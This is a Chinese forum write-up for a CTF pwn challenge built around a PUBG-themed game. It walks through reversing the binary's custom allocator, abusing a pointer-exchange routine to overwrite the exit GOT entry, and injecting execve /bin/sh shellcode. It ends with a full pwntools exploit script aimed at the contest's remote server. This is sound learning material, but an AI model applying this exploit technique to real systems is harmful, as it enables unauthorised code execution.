首页
论坛
课程
招聘
[原创]看雪TSRC_2017秋季赛第七题---------WriteUp
2017-11-7 00:39 2180

[原创]看雪TSRC_2017秋季赛第七题---------WriteUp

2017-11-7 00:39
2180
 

又是一道pwn题,需要利用程序的漏洞来getshell然后读取存放在远程服务器上的flag文件

 

有了第四题的经验,这次就不会摸不到头脑不知从何下手了,依然是先看保护情况。

0x00 查看保护

使用checksec pwn可以查看到以下信息。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

只有栈不可执行NX与栈溢出检查CanaryPIE没开,GOT表可修改,信心大增。接下来看流程。

0x01 流程分析

直接IDA来看,感觉pwn类的题结构都是很清晰的(毕竟就做了这么两题),这题的内容很时髦,正是最近大热的吃鸡, 程序流程为注册账号->创建角色名->登录->选择跳伞地点->开始拾荒

 

程序内存管理用的mmap先分配好了空间,之后就是自己分配这些空间,而程序中可以输入的地方只有signupcheat

 

那么分别来看下这两部分,首先看signup

puts("welcome to Playerunknown's Battlegrounds");
puts("First,you need set your username and password");
v0 = (accountInfo *) alloc_mem(0x30);
makeChunk((accountInfo *)&structRole, v0);
puts("input your username");
getInputChar((__int64)structRole->username, 0x10LL);
puts("input your password");
getInputChar((__int64)structRole->password, 0x10LL);
puts("Second,you need create a character and give him a name");
v1 = (accountInfo *)alloc_mem(0x38);
makeChunk((accountInfo *)((char *)structRole + 0x28), v1);
structRole->pRole->Health = 100LL;
structRole->pRole->weight = 100LL;
structRole->pRole->stamina = 100LL;
puts("input your character's name");
getInputChar((__int64)structRole->pRole->name, 0x10LL);
puts("all is ok");

可以看出先分配了0x30的空间,然后生成一个chunk,之后根据提示接受用户输入,完成账号创建。里面涉及了两个结构体,分别是accountInforoleInfo ,其实后面的游戏里还有一个物品信息的结构体,不过解题没用上,就不写了。

 

accountInforoleInfo结构体分析如下:

00000000 accountInfo     struc ; (sizeof=0x30, align=0x8, mappedto_7)
00000000 chunk           dq ?
00000008 username        db 16 dup(?)
00000018 password        db 16 dup(?)
00000028 pRole           dq ?                    ; offset
00000030 accountInfo     ends
00000030
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 roleInfo        struc ; (sizeof=0x38, mappedto_8)
00000000 name            db 16 dup(?)
00000010 Health          dq ?
00000018 stamina         dq ?
00000020 weight          dq ?
00000028 place           dq ?
00000030 pItemInfo       dq ?                    ; offset
00000038 roleInfo        ends

有了这些信息,再来详细看下makeChunk这个函数。

_QWORD *__fastcall makeChunk(accountInfo *a1, accountInfo *a2)
{
  _QWORD *v2; // rax
  _QWORD *v3; // rax
  _QWORD *result; // rax

  if ( a2 )
  {
    v2 = (_QWORD *)getChunkHead((__int64)a2);
    init_chunk(v2);
  }
  if ( a1->chunk )
  {
    v3 = (_QWORD *)getChunkHead(a1->chunk);
    free_chunk(v3);
  }
  result = &a1->chunk;
  a1->chunk = (__int64)a2;
  return result;
}

unsigned __int64 __fastcall free_chunk(_QWORD *a1)
{
  __int64 v1; // rax
  __int64 v3; // [rsp+10h] [rbp-20h]
  _QWORD *v4; // [rsp+18h] [rbp-18h]
  __int64 *v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v3 = 0LL;
  v4 = a1;
  --*a1;
  if ( !*v4 )
  {
    while ( 1 )
    {
      v5 = (__int64 *)checkIsAddr((__int64)a1, &v3);
      if ( v5 == 0LL )
        break;
      ++v3;
      v1 = getChunkHead(*v5);
      exchangeAddr(v1);
    }
    exchangeAddr((__int64)v4);
  }
  return __readfsqword(0x28u) ^ v6;
}

__int64 __fastcall exchangeAddr(__int64 a1)
{
  __int64 result; // rax

  if ( !newChunk )
    newChunk = (__int64)alloc_mem(4);
  *(_QWORD *)(a1 + 0x10) = newChunk;
  *(_QWORD *)newChunk = a1;
  result = newChunk + 8;
  newChunk += 8LL;
  return result;
}
  • getChunkHead就是从数据区-0x10,拿到chunk头
  • init_chunk就是将chunk头中最开始的地方+1

这两个点没看出来利用的地方,但是在else条件里的free_chunk函数,就有点搞头了。

 

free_chunk中,会先对chunk头最开始的地方-1,当为0时,从数据区每次读8字节长度作为地址,并判断是否大于0x400000小于0x7FFFFFFFEFFF,如果满足这个条件,就把全局变量newChunk的值写入这个地址,在将这个地址写入newChunk中,最后newChunk加8。

 

可能看到这里还没明白为什么这是个利用点,我们回到注册函数处再来看下。

 

structRole这个全局指针是一个chunk,它的数据区保存的有账号密码,而这两个数据是我们可以输入的,所以当发生exchangeAddr时,我们可以控制将哪里的地址与newChunk交换,当然也包括got表

 

有了这个点,我们就可以修改got表中导入函数指向的地址,这样当被修改的函数调用时,就会到我们可控的地址中执行,但是现在还差点东西,我们还没有可以写入数据或shellcode的能力,改got表指针也没有意义,不过不要着急,还有一个cheat函数没有看。

 

下面来看cheat的实现:

void cheat()
{
  if ( cheatMem )
  {
    puts("content:");
    getInputChar(cheatMem + 0x10, 0x12CLL);
  }
  else
  {
    cheatMem = (__int64)alloc_mem(0x30);
    puts("name:");
    getInputChar(cheatMem, 0x10LL);
    puts("content:");
    getInputChar(cheatMem + 0x10, 0x20LL);
  }
}

这里判断当全局变量cheatMem不为空时,可以写入内容,而且长度为0x12C,对比它的else条件写入的长度,这里明显就是专门提供我们写入shellcode的。只需要用前面的exchangeAddr先给cheatMem交换来一个地址,就可以写这个地址从+0x10开始长度0x12C的数据了。

 

现在我们可以修改got表,也可以写入shellcode,那么选择修改哪个函数呢? 由于在shellcode布置好之前不能调用被修改的函数,找来找去好像只有exit可以用,exit在程序里可以被触发到的地方只有getPlace,下面是getPlace函数:

int __cdecl getPlace()
{
  int result; // eax

  switch ( structRole->pRole->place )
  {
    case 0LL:
      result = puts("Your in a random location");
      break;
    case 1LL:
      result = puts("Your in the Sosnovka military base");
      break;
    case 2LL:
      result = puts("Your in the Sosnovka military base");
      break;
    case 3LL:
      result = puts("Your in the Georgopol");
      break;
    case 4LL:
      result = puts("Your in the Novorepnoye");
      break;
    case 5LL:
      result = puts("Your in the Mylta Power");
      break;
    case 6LL:
      result = puts("Your in the Primorsk");
      break;
    default:
      puts("location error");
      exit(0);
      return result;
  }
  return result;
}

这里通过获取structRolepRole结构体的place成员(placepRole指针偏移0x28处)来判断选择的地点,而这个指针是个全局的,就在cheatMem旁边,在利用时可以通过cheatMem来修改这pRole指向的地址,让它指到一个偏移0x28处且肯定不是0~6的地方就能执行default流程触发exit

0x02 总结分析结果

至此,利用的点与大致的方案就可以定下来了,总结一下:

  1. 首先,要通过exchangeAddr来给cheatMem赋值,让它可以写内存数据。
  2. 然后继续通过exchangeAddr来修改got表exit函数的地址,以便执行shellcode
  3. 由于需要通过cheatMem来写got表里被修改了的地址内容,又因为newChunk是每次+8的,而cheatMem只能从+0x10处开始写数据,所以我们要多调用一次exchangeAddr,使得被修改的got表的函数可以排在cheatMem + 0x10之后的位置。
  4. 为了使exit函数可以触发shellcode,需要修改当前structRolepRole指针,指向一个+0x28不为0~6的地方。

0x03 完整利用代码

from pwn import *

context.arch = 'amd64'
#p = process('./pwn')
p = remote('123.206.22.95', 8888)
#context.log_level = 'debug'

if __name__ == '__main__':

    #exchange cheatMem
    p.recvuntil('Signup')
    p.recvuntil('==============================')
    p.sendline('2')
    p.recvuntil('username')
    p.sendline(p64(0x6050f0))
    p.recvuntil('password')
    p.sendline(p64(0x6050f0))
    p.recvuntil('name')
    p.sendline('1')
    p.recvuntil('ok')

    #exchange exit
    p.sendline('2')
    p.recvuntil('username')
    p.sendline(p64(0x6050f0))
    p.recvuntil('password')
    p.sendline(p64(0x605080) + p64(0x605080))
    #p.recvuntil('name')
    #p.sendline('1')
    p.recvuntil('==============================')
    p.recvuntil('==============================')

    p.sendline('2')
    p.recvuntil('username')
    p.sendline('3')
    p.recvuntil('password')
    p.sendline('3')
    p.recvuntil('name')
    p.sendline('3')
    p.recvuntil('ok')

    #login
    p.sendline('1')
    p.recvuntil('username')
    p.sendline('3')
    p.recvuntil('password')
    p.sendline('3')
    p.recvuntil('exit')

    #select map
    p.sendline('3')
    p.recvuntil('Primorsk')
    p.sendline('3')
    p.recvuntil('exit')

    #write shellcode and modify place
    #http://shell-storm.org/shellcode/files/shellcode-806.php
    #\x31\xc0\x48\xbb
    #\xd1\x9d\x96\x91
    #\xd0\x8c\x97\xff
    #\x48\xf7\xdb\x53
    #\x54\x5f\x99\x52
    #\x57\x54\x5e\xb0
    #\x3b\x0f\x05
    shellcode = p32(0xbb48c031) + p32(0x91969dd1) \
    + p32(0xff978cd0) + p32(0x53dbf748) + p32(0x52995f54) \
    + p32(0xb05e5457) + p32(0x00050f3b) + p32(0) \
    + p64(12) + '\0' * 80 + p64(0x6050B0)
    p.sendline('5')
    p.recvuntil('content:')
    p.sendline(shellcode)
    p.interactive()

[公告] 推荐好文功能上线,分享知识还可以得雪币!推荐一篇文章获得20雪币!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回